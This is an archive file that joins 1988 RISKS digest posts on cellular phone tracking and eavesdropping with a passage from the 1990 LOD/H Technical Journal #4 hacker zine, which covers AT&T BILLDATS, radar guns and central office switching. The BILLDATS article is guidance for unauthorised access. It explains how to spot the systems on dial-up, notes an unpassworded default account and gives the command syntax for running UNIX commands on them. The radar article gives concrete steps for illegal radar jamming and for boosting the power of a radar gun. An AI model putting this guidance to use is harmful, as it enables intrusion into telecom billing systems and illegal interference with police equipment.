Subject: Re: Risks of Cellular Phones

Recent writers to RISKS, starting with Chuck Weinstock in issue 7.57, have focused onthe risk of vehicle location by cellular telephone systems. In my opinion, they exaggerate this risk and underestimate another risk of mobile phones, the complete lack of privacy in radio transmissions.

Roughly 10 years ago I designed vehicle location controller hardware and firmware used in the Washington-Baltimore cellular demonstration system. That system led directly to products sold at least through the first waves of cellular system construction a few years ago.

Since cellular base stations have intentionally limited geographic coverage, vehicle location is a requirement. This limitation is used to conserve radio channels; one cell's frequencies can be re-used by others far enough away in the same metropolitan area. The cell system must determine which cell a mobile user is located in when he begins a call, and when during a conversation a vehicle crosses from one cell into another. Cells are set up perhaps 3 to 20 miles in diameter and range from circular to very irregular shapes. Cellular phone systems are designed with ample margins so that statistically very few calls will be lost or have degraded voice quality.

Making this system work does not require anything so fancy as triangulation. Vehicle location needs to be only good enough to keep signal quality acceptably high. John Gilmore explained in RISKS 7.58 how this works while the mobile phone is on-hook. During a conversation, the base station periodically measures the signal strength of an active mobile in its cell. When the signal strength goes below a threshold, adjacent cells measure the mobile's signal strength. This 'handoff trial' procedure requires no interaction with the mobile. If the mobile was stronger by some margin in an adjacent cell, both the mobile phone and the cellular exchange switch are ordered to switch to a channel and corresponding phone line in e new cell. Since base stations commonly use directional antennas to cover a full circle, mobiles could be reliably located in one third of the cell area at best. Distance-measuring techniques advocated by AT&T were not adopted because the added cost was too high for the modest performance gain.

Certainly a cellular phone system can locate a mobile at any time, and always locates a mobile during a conversation. But the information is not fine-grained enough to implement some of the schemes imagined by previous

writers.

A more important risk is the risk of conversations being intercepted. The public airwaves are simply that: public. Scanner radios can easily be found or modified to cover the cellular band, and listeners will tolerate lower signal quality than cellular providers, hence one scanner can listen to cell base stations over a wide area. The communications privacy law is no shield because listeners are undetectable. To bring this back to risks of computers, automated monitoring and recording of selected bile phones is probably beyond the reach of the average computer hobbyist, but easily feasible for a commercial or government organization using no part of the infrastructure whatever, just the control messages available on the air.

Wes Plouff, Digital Equipment Corp, Littleton, Mass.
plouff%nac.dec@decwrl.dec.com

Date: 28 Sep 88 10:10:47 +0100 (Wednesday)
From: Peter Robinson <pr@computer-lab.cambridge.ac.uk@NSS.Cs.Ucl.AC.UK>
Subject: Re: Risks of cellular telephones

As a radio amateur, I have always been taught that using mobile transmitters near petrol stations is bad form - the radiation from the transmitter can induce currents in nearby metalwork and perhaps cause a spark. The thought of a cellular telephone being able to transmit without the operator's consent (in response to a paging call) is, therefore, slightly RISKy.

Tis cold even get worse as technology progesses. As the sunspot cycle advances, it sees plausible that transmissions will carry further and interfere with those in nearby cells (not the adjacent ones, they usually have distinct frequencies). Before long the manufacturers will introduce adaptive control where the transmitter power is adjusted dynamically to compensate for variations in the signal path between the mobile and base stations. So then when you pull into a petrol station and receive a call, the system will notice that all the surrounding metal is impairing your signal and will increase the transmitter power accordingly...

Incidentally, I am not sure what power these radios use, but I would be slightly nervous about using a hand-held telephone with the antenna anywhere near my eyes if it is more than a few Watts.

Date: Sat, 8 Oct 88 15:59:56 MET
From: "Walter Doerr" <wd@dg2kk.UUCP>
Subject: Risks of cellulr phnes

Chuck Weistock <weinstoc@SEI.CMU.EDU> writes in RISKS 7.57:

> Subjec: Rsks of Cellular Phones?
>
> While discussing radio triangulation last nigh, the question came up:
> If I dial a phone number attached to a cellular phone, how does the
> cellular system know which cell should send the ring signal to the
> phone? Is it a system wide broadcast, or does the cellular phone
> periodically broadcast a "here I am" signal?

In the 'C-Net' here in Germany, all mobile phones send a "here I am" signal whenever they move to a new cell. This information (the cell where the phone can be reached) is stored in the database of the phone's "home" base. Calls to mobile phones are routed to a computer in Frankfurt which contacts the home base computer (based on the first few digits of the mobile phonenumber), which, in turn, knows the cell the phone is currently in.

> If the latter, a less than benevolent government (or phone company for
> that matter) could use that information to track its citizens' cars'
> whereabouts.

According to an article in an electronics magazine, the German PTT was approached by a police agency, who expressed interest in the data stored in the networks computers. The article quotes a Siemens mobile telephone specialist as saying that it isn't possible topipoint the current location of a mobile phone because:

- the phone must be switched on for the network to recognize it
- the cells use omnidirectional antennas, so it isn't possible to determine the direction from where the mobile phone's signal came.

While this is true, it is certainly possible to determine the location of a phone with an accuracy of a few miles (the size of the cell the phone is in) without using any additional direction finding methods (radio triangulation).

Walter Doerr

End of the LOD/H Technical Journal #3

The LOD/H Technical Journal, Issue #4: File 01 of 10
Finally Released: May 20, 1990

THE

LOD/H TECHNICAL JOURNAL

INTRODUCTION

We are still alive. This publication is not released on any schedule. Past attempts at scheduling issues have failed miserably. The editors refuse to release issues which are not up to our self-defined standards. We have in the past, and will continue in the future, to accept articles from anyone (e.g. non LOD) as long as the articles adhere to our basic format and style. The editors review all articles to verify accuracy and integrity however it may not be possible in all cases to check every fact. Plagiarized material is not acceptable and we make every attempt to verify an article's originality. When referenced material is used, the source for that material must be clearly stated. The more articles we receive the sooner each issue is released. There is a minimum 2 month review and editing period for each article. If you want to contribute articles contact any member and they will forward articles to the editors.

There seems to be some confusion as to what writers are (or were) in LOD/H and what ones aren't. JUST BECAUSE SOMEONE WRITES FOR THIS PUBLICATION DOES NOT MEAN THEY ARE AN LOD/H MEMBER! Just to clear up any confusion, a current member list follows:

Lord Havok
Lex Luthor
Prime Suspect
Phase Jitter
Professor Falken
Skinny Puppy

File 06: The History of LOD/H is a short article explaining the origin of the group. We realize this is of interest to only a few, and most people probably could care less. However, also included is a list of EVERY member who was ever in the group. This is to clear up any and all misconceptions about members. The press, telecommunications and computer security people, law enforcement, and others can finally get their facts straight [See Issue #3, article 10, Clearing up the mythical LOD/H Busts for a prime example, and also in the Network News and Notes section -- first two articles regarding more so called 'LOD BUSTS']. Another purpose is to thwart would-be group impostors. SYSOPS who give system access to individuals solely because they are a member of some respected group are urged to verify the hacker's identity as best they can. No one should be taken on their word alone.

This issue is dedicated to the three (now "retired") members who recently received visits from our friends and yours, the U.S. Secret Service and Bell South Security: The Leftist, The Urvile, and The Prophet. Again, see the Network News and Notes section for the stories.
Although the TJ is distributed to many boards, the inability for any decent board to consistently remain online prevents us from utilizing "sponsor" boards as distribution hubs. Therefore, the TJ will be distributed to whatever boards are around at the time of release. Due to the lack of boards the newsletter will be distributed in diskette form to those who can help in its distribution.

TABLE OF CONTENTS

Name of article or file	Author	Size
01 Introduction to the LOD/H Technical Journal and Table Of Contents for Issue #4	Staff	04K
02 The AT&T BILLDATS Collector System	Rogue Fed	14K
03 The RADAR Guidebook	Professor Falken	17K
04 Central Office Operations	Agent Steal	32K
05 A Hackers Guide to UUCP	The Mentor	27K
06 The History Of LOD/H	Lex Luthor	12K
07 The Trasher's Handbook to BMOSS	Spherical Abberation	11K
08 The LOD/H Telenet Directory Update #4 Part A	Lord Havok	65K
09 The LOD/H Telenet Directory Update #4 Part B	Lord Havok	43K
10 Network News and Notes	Staff	38K

Total: 7 Articles 10 Files 263K

End Of Intro/TOC
Issue #4

The AT&T BILLDATS Collector

Written by:
Rogue Fed

==========

NOTES: This article will hopefully give you a better understanding of how the billing process occurs. BILLDATS is just one part of the billing picture. Before I began working for the government, I was a Telco employee and thus, the information within this article has been learned through experience. Unfortunately, I was only employed for a few months (including training on BILLDATS) and am still learning more about the many systems that a telco uses. There are however, a couple of lists that were compiled and slightly modified from what little reference material I could smuggle out and my notes from the training class. This article does require a cursory knowledge of telco and computer operations (ie. switching, SCCS, UNIX).

INTRODUCTION -

BILLDATS - BILLing DATa System

BILLDATS can be explained in a nutshell by the acronym listed above. If it's one thing telecommunications providers do well, it's creating acronyms. Basically, BILLDATS collects billing information (that's why they call it a

Collector) from AMATs (Automatic Message Accounting Transmitters). The AMATs are situated in or close to switching offices and are connected to BILLDATS either through dedicated or dial-up lines. BILLDATS can be considered as the "middleman" in the billing process. The system collects, validates, and adds identification information regarding origination and destination. This is then transferred to tape (or transmitted directly) to the RPC (Regional Processing Center) or the RAO (Revenue Accounting Office). The RPC/RAO actually processes the billing information. Typically the BILLDATS system is located in the same or adjoining building (but can be across town) to the RPC/RAO.

BILLDATS is similar to many other phone company systems (ie. SCCS) as it uses a combination of software. The software base is UNIX and the BILLDATS Generic program runs on it. The hardware used is an AT&T 3B20 (this is what 5ESS switches use).

Some of the more interesting features BILLDATS possesses are:

* Can be accessed via dialup (always a plus).
* Runs under UNIX (another plus).
* Interface with SCCS (yet another plus).
* Can store about 12 million calls for the first two disks and about 8 million calls for each additional disk. A total of 6 (675 MB) disks can be used.
* Inserts the sensor type and ID and recording office type and ID onto every AMA record that it collects.
* Capable of collecting information from nearly 600 AMATs.

To better understand how/why you get a bill after making long distance phone calls, I have delineated the steps involved.

You call Hacker X and tell him all about the latest busts that have occurred, he exclaims "Oh Shit!" hangs up on you and throws all his hacking information into the fireplace. The actual call is referred to as a call event. As each event happens (upon termination of the call) the event is recorded by the switch. This information is then sent via an AMA Transmitter which formats the information and then sends it to BILLDATS (commonly called a "Host Collector"). BILLDATS then provides the information to the RAO/RPC. The billing computer is located at the RAO/RPC. Do not confuse the actual billing system with BILLDATS! The billing computer:

* Contains customer records
* Credit ratings (in some telcos)
* Totals and prints the bill
* Generates messages when customers do not pay (ie. last chance and temporary termination of service)

When the billing period is over, (typically 25-30 days), many events (it depends on how many calls you have made) have accumulated. A bill is then generated and mailed to you.

COLLECTION -

BILLDATS collects information in two ways:

1. AMATs
2. Users

AMAT input

BILLDATS collects data from the AMAT either directly from the switch, or from

a front end which performs some processing on the data before giving it to BILLDATS. The data I am talking about here is usually AMA billing information. The information is in the usual AMA format (see Phantom Phreaker's article in the LOD/H Technical Journal, Issue #3 on AMA for formats and other info). As I said earlier, the recording office and sensor types and IDs have to be added by BILLDATS. The other information that is transmitted is usually maintenance data.

The data that is transferred between BILLDATS and an AMAT is accomplished over either dedicated or dialup lines using the BX.25 protocol. This protocol has been adopted by the telecommunications industry as a whole. It is basically a modified version of X.25.

User input

This is simply sysadmin and sysop information.

INSERTED INFORMATION -

Once the information is collected, additional data (mentioned earlier) must be inserted. The information that BILLDATS inserts into the AMA records it receives depends on whether the AMAT is a single or multi-switch AMAT. Either way, the data is passed through the DEP. The DEP is a module which is part of the LHS (Link Handler Subsystem) that actually inserts the additional data. It also performs other functions which are rather uninteresting to the hacker. The LHS manages the x-mission of all the collected information. This is either through dedicated or dialup lines. The LHS is responsible for:

* Logging of statistics as related to the performance of links.
* Polling of remote switches for maintenance and billing information.
* Passing information to the DEP in which additional information is inserted.
* Storing billing information.
* Other boring stuff.

AMATS -

Basically an AMAT is a front end to the switch. The AMAT:

* Gets AMA information from the switch.
* Formats and processes the information.
* Transmits it to BILLDATS.
* An AMAT can also store information for up to 1 week.

The following is a list of switches and their related AMAT equipment that BILLDATS obtains billing information from:

1A ESS: This is usually connected to a 3B APS (Attached Processor System) or BILLDATS AMAT.
2ESS: This is connected to an IBM Series 1 AMAT.
2BESS: Connected to a BILLDATS AMAT.
4ESS: Connects to 3B APS.
5ESS: Direct connection.
TSPS 3B:Direct connection.
DMS-10: Connects to IBM Series 1 AMAT.

There are other AMATs/Switches but they must be compatible with the BILLDATS interface.

ACCESSING BILLDATS -

Even though a system is UNIX based, that doesn't mean that it is a piece of cake to get into. Surprisingly (when you think about the average Intelligence Quotient of telco personnel) but not surprisingly (when you consider that the information contained on the system is BILLING information--the life blood of the phone company) BILLDATS is a little more secure than your average telco system, except for the fact the all login IDs are 5 lower case characters or less. BILLDATS can usually be identified by:

bcxxxx 3bunix SV_R2+

where:

bc = B(ILLDATS) C(ollector).
xxxx = The node suffix. This is entered when the current Generic is installed.
3bunix = This simply indicates that UNIX is running on an AT&T 3Bxx system.
SV_R2+ = Software Version.

The good news is that there is a default username when the system is installed. The bad news is that upon logon, the system forces you to choose a password. The default username is not passworded initially. The added security feature is simply that the system forces all usernames to have passwords. If it doesn't have an associated password, the system will give you the message:

"Your password has expired. Choose a new one"

A 6-8 character password must then be entered. After this you will be asked to enter the terminal type. The ones provided are AT&T terminals (615, 4425, and 5420 models). Once entered a welcome message will probably be displayed:

"Welcome to the South Western Bell BILLDATS Collector"
"Generic 3, Issue 1"
"Tuesday 01 Aug 1989 12:44:44 PM"

dallas>

The BILLDATS prompt was displayed "dallas>" where dallas is the node name.

There are 3 privilege levels within BILLDATS:

1. Administrator
2. Operator
3. UUCP

* Administrator privs are basically root privs.
* An account with Operator privs can still do about anything an Admin can do except make data base changes.
* UUCP privs are the lowest and allow file transfer.

Commands

Just like SCCS, UNIX commands can be entered while using BILLDATS. The format is:

dallas>run-unx:$unix cmd#;

All unix commands must be preceded by "run-unx:" and end with a semicolon ";". The semicolon is the command terminator character (just like Carriage Return).

BILLDATS isn't exactly user friendly, but it does have on-line help. There are a number of ways that it can be obtained:

dallas> help-?; or help-??; or ?-help; or ??-help;

If you want specific help:

dallas> help-(command name);

I can list commands forever, but between UNIX (commands every hacker should be familiar with) and help (any moron can use it), you can figure out which ones are important.

Error Messages

Just like SCCS, BILLDATS has some rather cryptic error messages. There are thousands of error messages, once you know a little about the format they are easier to understand. When a mistake is made, something similar to the following will appear:

```
UI0029      (attempted command) is not a valid input string.

  ^                   ^- error message information
  |
  |--  This is the subsystem and error message number
```

The following is a brief description of subsystem abbreviations:

BD: BILLDATS system utilities. Errors associated with the use of utility programs will be displayed.
DB: Data Base manager. These messages are generated when accessing or attempting to access the various Data Bases (explained later) within BILLDATS.
DM: Disk Manager. Basically, information pertaining to the system disk(s).
EA: Error and Alarm. As the name implies, system errors and alarms.
LH: Link Handler. Messages related to data link activity, either between BILLDATS and the AMAT or BILLDATS and the RAO/RPC.
SC: Scheduler. The scheduler is BILLDATS' version of the UNIX cron daemon. BILLDATS uses cron to schedule things like when to access remote systems.
TW: Tape Writer. Messages related to storing billing information on tapes which will then be transported to the RAO/RPC.
UI: User Interface. This was used in the above example. Displays syntax, range or status errors when entering commands.
DL: Direct Link. Instead of BILLDATS information being written to tape, a direct link to the RPC/RAO mainframe (the actual billing system computer) can be accomplished. This is usually done when BILLDATS is located far away from the RPC/RAO office as there is always some risk involved in transporting tapes, and that risk increases the farther away the two offices are. Another neat thing about Direct Link is that the billing data can be sent across a LAN (Local Area Network) also. Obviously this incurs some concerns regarding security, but from what I have heard and seen, AT&T and the BOC's typically choose to ignore the security of their systems which suits me just fine. The Direct Link is an optional BILLDATS feature and if it is in use, messages related to its operation are displayed with the DL prefix.

BILLDATS DATA BASES -

The databases contain all kinds of useful information such as usernames,

switch types, scheduled polling times, etc.

The AMAT Data Base contains:

* Type of switch
* Sensor type and identification
* AMAT phone number
* Channel and port number/group
* Other boring information

The Port Data Base contains:

* Communications information (like L-Dialers on UNIX Sys. V)
* Channel and port information
* Other boring information

The Collector Data Base contains:

* Collector office ID
* Version number of the Data Base
* Number and speed of any remote terminals
* When reports are scheduled for output
* Other boring information

CONCLUSION -

If you are not technically oriented, I hope this article helped you understand how you get your bill. I assumed that you would skip over the commands for using BILLDATS and similar information.

If you are technically oriented, I hope I not only helped you understand more about the billing process, but also increased your awareness of how detailed the whole process is. And if you do happen to stumble onto a BILLDATS system, you have been pointed in the right direction as far as using it correctly is concerned.

I tried to leave out all the boring details, but some may have slipped by me. I reserved the right to omit specific details and instructions regarding any alteration or deletion of calls/charges for my own use/abuse.

The Rogue Federal Agent

[End Of Article]

The LOD/H Technical Journal, Issue #4: File 03 of 10

The Radar Guidebook

by

Professor Falken

Anyone who has driven a car without a radar detector before, has gotten that paranoid feeling that the cops are around radaring. This feeling is not a nice one; it is the feeling that somewhere somehow someone is watching you. In this article I will attempt to explain how radar guns work, what bands the guns work on, why they are wrong 70% of the time, how to employ stealth technology in defeating the radar, and last but not least jamming the radar.

RADAR stands for RAdio Detecting And Ranging. A speed-radar gun works under the Doppler theory. This theory is that when a signal is reflected off an object moving toward you, the signal will be at a higher frequency than the initial frequency, this increase in frequency is used to calculate speed. Many of you have experienced the Doppler effect, which occurs when a noise from a siren increases in strength (gets louder) as it approaches and decreases in strength (gets softer) as it moves away from you.

Right now in the United States, there are three bands that are Federal Communication Commission (FCC) certified for "field disturbance sensors", known to you and me as radar guns. These bands have proper non-technical names, and all operate in the GigaHertz range. GigaHertz is a measure of frequency; one GHz equals one billion cycles per second. Most frequency modulation (FM) radio broadcasts are made in the 0.088 GHz to 0.108 GHz band, in MegaHertz that is 88 MHz to 108 MHz. The three proper names for these radar bands are: X, K, and Ka.

One of the older radar bands is the X band. X band radar is the most commonly used radar band in the United States. X band radar transmits its signal at 10.5250 GHz. The wattage of the radar's signal really depends upon the gun manufacturer. However, most manufacturers agree that a 100 milliwatt signal is "High-Power" and the 40 milliwatt range is "Low Power". The gun's range also depends upon the manufacturer. The average maximum range of a X band gun is 2500 feet. That estimate is based on the assumption that the gun is operating at full-strength (100mw). Most radar detectors give off a false signals on this band due to ultrasonic motion detectors employed by various burglar alarm systems. Large grocery stores also use these to open the doors magically as you walk in or out.

Another older band is K band. K band operates on 24.150 GHz and is not as popular as X band, but it is gaining in usage throughout the country. The normal signal strength of K band guns again depends upon the manufacturer, but the ones I've seen all operate at 100 milliwatts at high-power. These guns have a maximum range of 3000 feet, assuming they are at 100mw signal strength.

A new type of radar has been introduced and assigned a frequency by the Federal Communications Commission. This new band has been assigned the name Ka and has been designated a frequency of 34.360 GHz. Current Ka technology gives the gun a maximum effective range of 40 to 200 feet. This band was originally made for use with photo-radar. The photo-radar can be set up on a tripod on the side of the road or in the back of a police car. The user then triggers a button when he wants a car in the guns range clocked, automatically taking a picture of the car & license plate. At the time the photograph is taken a date and time is imprinted on the picture. The police keep one duplicate for archival purposes and sends the other to the registered owner of the car along with ticket information and the amount due. This type of system can only work in places that hold the owner of a vehicle responsible for any violations that occur with the car. The legal barriers for photo radar to overcome are extensive, most notably, not giving the vehicle owner due process and the presumption of guilt. There is a system out now for $19.95 that defeats Ka band photo radar. I expect it to be illegal VERY QUICKLY once Ka is more widely used. This little baby slips over your license plate and acts as venetian blinds. When looking straight at the plate it looks like a normal plate with a black frame. However when looking at it from a Ka band Photo Radar's angle it looks like a license plate with a silver streak covering the whole plate, making it impossible to identify. This device is called the Photobuster and is available from most radar detector specialty stores.

There are two different types of radar guns. They are Instant-On/Pulse and Constant Broadcasting Radar. The names are self-explanatory, but I will explain them anyway. The constant broadcast radar continually transmits its radar signal, and anything in its path will be clocked. Instant-On &

Pulse radars are basically identical, and are both very deadly since they are harder to detect as a threat. The Instant-On gun is really nothing more than an ON/OFF switch for signal transmission. In order to have a pulse gun, all a cop has to do is purchase one with a "HOLD" feature or just turn the gun on when he/she wishes to use it. The "HOLD" feature is simply a button that keeps the gun on but makes sure no signal is being transmitted. No one can detect a gun that is off or in "HOLD" mode. An officer using an Instant-On radar gun will periodically check the speed of the traffic. These samplings can easily be detected and will give the user of a detector prior warning to a Instant On/Pulse activated radar gun.

Many detectors on the market today provide anti-falsing circuitry. Falsing is the triggering of the radar detector from something other than a radar gun.

One or two detector manufactures make their detectors with GaAs diodes. GaAs diodes are Gallium Arsenide diodes which are a military grade electrical component that helps produce a good signal-to-noise ratio.

All new model radar detectors use Superheterodyne technology. Superheterodyne, also known as active technology, amplifies all incoming signals hundreds of times, which makes it more sensitive and selective as to which signals will trigger an alert. Superheterodyne technology also gives out a minute internal radar signal of its own, which can be picked up by older (Pre/Early 1980's) non-anti-falsing radar detectors. If you have a newer model radar detector, this small internally generated signal is no problem to your's or anyone's anti-falsing radar detecting unit. NOTE: In states where radar detectors are illegal (Ex. Virginia, Canada) the police have devices which detect this Superheterodyne signal. Police can then stop you and confiscate your detector. Getting around this police tactic would be to use an early radar detector without Heterodyne/Superheterodyne detection technology.

Many compact/shirt pocket radar units are "exclusively made with SMD's". These SMD's are Surface Mounted Devices and contain extremely small resistors, transistors, diodes, and capacitors. Just because a manufacturer uses SMD's, that does NOT make the unit any better than a larger detector of the same age.

Cincinnati Microwave Inc., the makers of Escort and Passport say they have the exclusive technology for the detection and anti-falsing of RASHID VRSS technology. RASHID VRSS is actually the Rashid Radar Safety Brake Collision Warning System. It is an electronic device that operates on K band frequencies and warns heavy trucks and ambulances of hazards in their path. About 900 RASHID VRSS units have been prototyped in three states. Since the number of actual operating RASHID units is so minute, I really doubt you will run into one.

There are two ways a radar gun can produce an incorrect speed reading. These are known as the Cosine Error and Moving Radar Error. The Cosine Error occurs when a radar gun gives a lower reading than the actual speed of the target. This occurs because the gun can only measure the doppler shift that occurs directly towards or away from the antenna. If the object moves at an angle to the gun, the shift will be lower than if it moves directly at the antenna. Therefore the reading the radar gun gives will be less than the actual speed of the object. The radar reading can be calculated by taking the Actual Speed times the cosine of the incidence angle. So if the target car's actual speed is 50 miles per hour and it is 37 degrees off of the mainline radar signal, the radar speed will be 40 miles per hour. Look:

Cosine Error Theory:
Actual Speed x Cosine of Incidence Angle = Radar's Shown Speed

Cosine of 37 degrees is 0.80
50 MPH x 0.80 = 40 MPH

So if you see a radar enabled cop coming head-on towards you it would be a good idea to get into the right hand lane, or further if possible, as this increases the angle and thus lowers your radar speed. The other error is the Moving Radar Error, which occurs only when a police car is using a moving radar gun. A false reading is obtained by the unit because before it can radar you it must radar something along side the road to get the patrol car's speed. Most often, billboards and parked cars are used for this initial patrol car speed calibration. It is susceptible to errors because of the Cosine Error, mentioned above. Once the patrol car has its speed (wrong or not), it assumes that the target's (YOU) speed is the difference between the highest oncoming signal and the patrol speed; but if the patrol speed is lower it will ADD that error on to the target speed. So the target speed (YOU) will read higher than you were actually traveling. Here's the theory and a problem:

Moving Radar Theory:
Closing Speed - Patrol Speed = Target Speed

The ACTUAL speeds for these are:
Patrol Car Speed - 60 MPH
Target Car Speed - 60 MPH
Closing Speed - 120 MPH

Due to the Cosine Error the TARGET CAR's speed will cause the gun to calculate a LOW reading for the actual patrol car's speed due to the cosine error.

The RADAR calculated speeds are:
Patrol Car Speed - 50 MPH
Target Car Speed - 70 MPH
Closing Speed - 120 MPH

Thus you can see how the police car is going to get an incorrect reading. This is a good one to memorize and bring into court for any tickets.

It's been recently brought to my attention that there are stealth-bras for cars. From what I understand, the bras actually absorb the radar, and reflect such a weakened signal that the radar gun cannot detect it. I have not seen one of these in person, but from what I have heard they are made out of a VERY DENSE rubber/metal composite. The bra probably traps the signal very much like the F-117/B-2 stealth aircraft do. The material is probably made up of hexagonal shaped cells, the back of the cell being at a slight angle, so that any signal coming into the cell will have to bounce around within the cell before exiting it. The inside of each cell is filled with a radar absorbing material. As the signal hits the back of the hexagonal cell it is bounced around inside the cell through the absorbing material, weakening the signal each time it does so. Upon leaving the cell, the signal is so weak the radar's receiver may not pick up the signal until the target is near enough to give a positive return on the radar screen. When the aircraft is getting closer, within radar range, the signal reflected may be so small the radar's controller may think he is picking up ground interference, a flock of birds or possibly bad weather. The actual radar absorbing material is classified at this time by the government. The actual composite on the car bra is certainly not as good as the actual radar absorption material of the aircraft, but I'm sure it is somewhat similar.

Radar jamming is done very much the way any other type of radio jamming is done. You simply overpower the frequency being used with a frequency of your own. Radar jamming/overpowering is ILLEGAL in the United States. To jam a signal all you need is a transmitter, an amplifier and an antenna. To jam a gun using a K band radar (24.150 GHz) all you do is get a transmitter that can transmit in the 20 GHz range and a 10-100 watt amplifier and antenna. Send out a signal at around 24.05 GHz. This signal will make the cop's radar either show a 0 or an incredibly slow speed such as -520. Usually the

cop's radar cannot show a negative sign, so it will just be 520. This 10-100 watt signal that you are transmitting will overpower the signal his/her radar sent out and is waiting to receive. His/her gun is only at 100 milliwatts, and you're transmitting at 10-100 watts; its like using a 12-gauge shotgun against a rodent.

Where can you get microwave transmission equipment? You can check local electronic shops, satellite stores, Cable TV companies and local television stations as to where they buy their microwave transmission gear. Or you can buy a radar gun of your own, and leave it ON whenever your driving. This will give the cop's gun a very strange reading, most likely zero. If it is possible, once you have the gun bring it to a "corrupt" electronics shop and have it modified for high powered transmission, preferably in the 10 to 100 watt range.

Some radar guns have resistors implemented just before the antenna, but just after the amplifier for de-amplification of the transmitter's signal. This means that most guns already have a good (1 watt or so) transmit capacity, but it is suppressed to bring the actual transmit signal to the 100mw area. The owner of the gun only has to know which resistors to take out, then he/she will have a functional high powered gun. If this small wattage does not satisfy you, you may have to purchase a separate amplifier for the gun, and have it wired directly into the radar's transmitter antenna. This modification is expensive not to mention illegal, but then again what the hell isn't these days. I have seen six different types of guns offered from National Radar Exchange. The following are a few major radar gun manufacturers that are sold out of most radar shops. They are:

KUSTOM SIGNAL:
Kustom Signal HR-12 K Band 100mw signal 2000-3000 foot maximum range $695.00
Kustom Signal HR-8 K Band 100mw signal 1800-3000 foot maximum range $495.00

CMI INC.:
Speedgun One X Band 100mw signal 1000-2500 foot maximum range $395.00
Speedgun Six X Band 100mw signal 1000-2500 foot maximum range $495.00
(Since these units are the same, the only differences are things like last speed reading recall, 10 number memory, etc.)

MPH INC.:

MPH K-55 X Band 40mw signal 1200-2500 foot maximum range $495.00
(Can clock target in 1/2 second, which is exceptionally fast for radar guns)

The only differences between the models are their bands and their options, such as a "HOLD" button, last speed recorded etc.

I have found these to be some of the top units in the radar detector world currently and are listed as follows:

MOST SENSITIVE	MOST FEATURES	BEST LOOKING	MOST RELIABLE	SMALLEST
COBRA 4120	COBRA 4120	Whistler 3SE	ESCORT	Uniden RD-9XL
BEL 944	COBRA 3160	BELL 944	K40	Whistler 3SE
Snooper 6000	BELL 944	Uniden RD-9XL		

BEST VALUE	LOUDEST	BEST FILTERED
Snooper 4000	COBRA 5110	Snooper 6000
Cobra 5110	COBRA 3120	Other Snoopers
Cobra 3168	Whistler Q2002	
Maxon RD25		

I did not get to see Cincinnati Microwave's new "SOLO", nor BEL's "Vector 3", "Express", nor it's newer "Legend 3."

Just because a detector is the MOST sensitive doesn't mean it is the best detector. Because of the sensitivity you could pick up more alarms. What you want is a detector with excellent sensitivity, but good anti-falsing circuitry.

I hope this article has given you some insight on how radars work and how their tickets CAN be defeated. Keep safe and sane,

Professor Falken
Legion Of Doom

<EOF>
The LOD/H Technical Journal, Issue #4: File 04 of 10

```
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$                                                   $
$             Central Office Operations             $
$            Western Electric 1ESS,1AESS,           $
$         The end office network environment        $
$                                                   $
$            Written by Agent Steal 1989            $
$                                                   $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
```

Topics covered in this article will be:

- Call tracing
- RCMAC
- Input/output messages
- SCC and SCCS
- COSMOS and LMOS
- BLV, (REMOB) and "No test trunks"
- Recent change messages
- Equal Access

Did I get your attention? Good, everyone should read this. With the time, effort, and balls it has taken me compile this knowledge it is certainly worth your time. I hope you appreciate me taking the time to write this.

I should point out that the information in this article is correct to the best of my knowledge. I'm sure there are going to be people that disagree with me on some of it, particularly the references to tracing. However, I have been involved in telecommunications and computers for 12+ years.

I'm basing this article around the 1AESS since it is the most common switch in use today.

** OUTSIDE PLANT **

This is the wiring between your telephone and the central office. That is another topic in itself. If you are interested read Phucked Agent 04's article on The Outside Loop Distribution Plant (OLDP) in the LOD/H Technical Journal, Issue #1. The article explains those green boxes you see on street corners, aerial cables, manholes etc. So where that article stops, this one starts.

** CABLE VAULT **

All of the cables from other offices and from subscribers enter the

central office underground. They enter into a room called the cable vault. This is a room generally in the basement located at one end or another of the building. The width of the room varies but runs the entire length of the building. Outside cables appear through holes in the wall. The cables then run up through holes in the ceiling to the frame room.

Understand that each of these cables consist of an average of 3600 pairs of wires. That's 3600 telephone lines. The amount of cables obviously depends on the size of the office. All cables (e.g. interoffice, local lines, fiber optic, coaxial) enter through the cable vault.

** FRAME ROOM **

The frame is where the cable separates into individual pairs and attach to connectors. The frame runs the length of the building, from floor to ceiling. There are two sides to the frame, the horizontal side and the vertical side. The vertical side is where the outside wiring attaches and the protector fuses reside. The horizontal side is where the connectors to the switching system reside. Multi-conductor cables run from the connectors to actual switching equipment. So what we have is a large frame called the Main Distribution Frame (MDF) running the entire length of the building. From floor to ceiling it is 5 feet thick. The MDF consists of two sides, the VDF and the HDF. Cables from outside connect on one side and cables from the switching equipment connect to the other side and jumper wires connect the two. This way any piece of equipment can be connected to any incoming "cable pair". These jumper wires are simply 2 conductor twisted pair, running between the VDF and the HDF.

What does all this mean? Well if you had access to COSMOS you would see information regarding cable and pair and "OE" (Office Equipment). With this information you could find your line on the frame and on the switch. The VDF side is clearly marked by cable and pair at the top of the frame, however the HDF side is a little more complicated and varies in format from frame to frame and from switch to switch. Since I am writing this article around the 1AESS, I will describe the OE format used for that switch.

OE ABB-CDD-EFF

Where..

A = Control Group (when more than one switch exists in that C.O.)
B = LN Line Link Network
C = LS Line Switching Frame
D = CONC or CONCentrator
E = Switch (individual, not the big one)
F = Level

There is one more frame designation called LOC or LOCation. This gives the location of the connector block on the HDF side. Very simply, looking at the frame:

```
H  ----------------------------------------------------------------------

G  ----------------------------------------------------------------------

F  ----------------------------------------------------------------------

E  ----------------------------------------------------------------------

D  ----------------------------------------------------------------------

C  ----------------------------------------------------------------------
```

```
B  ---------------------------------------------------------------------

A  ---------------------------------------------------------------------

   123456789 etc.
```

Please note that what you are looking at here represents the HDF side of the MDF, being up to 100 feet long, and 20 feet high. Each "-" represents a connector block containing connections for 4 x 24 (which is 96) pairs.

So far I've covered how the wires get from you to the switching equipment. Now we get to the switching system itself.

** SWITCHING SYSTEMS **

Writing an article that covers them all would be lengthy indeed. So I am only going to list the major ones and a brief description of each.

- Step by Step
  Strowger 1889
  First automatic, required no operators for local calls
  No custom calling or touch tone
  Manufactured by many different companies in different versions
  Hard wire routing instructions, could not choose an alternate route if programed route was busy
  Each dial pulse tripped a "stepper" type relay to find its path

- No.1 Crossbar 1930
- No.5 Crossbar 1947 (faster, more capacity)
  Western Electric
  First ability to find idle trunks for call routing
  No custom calling, or equal access
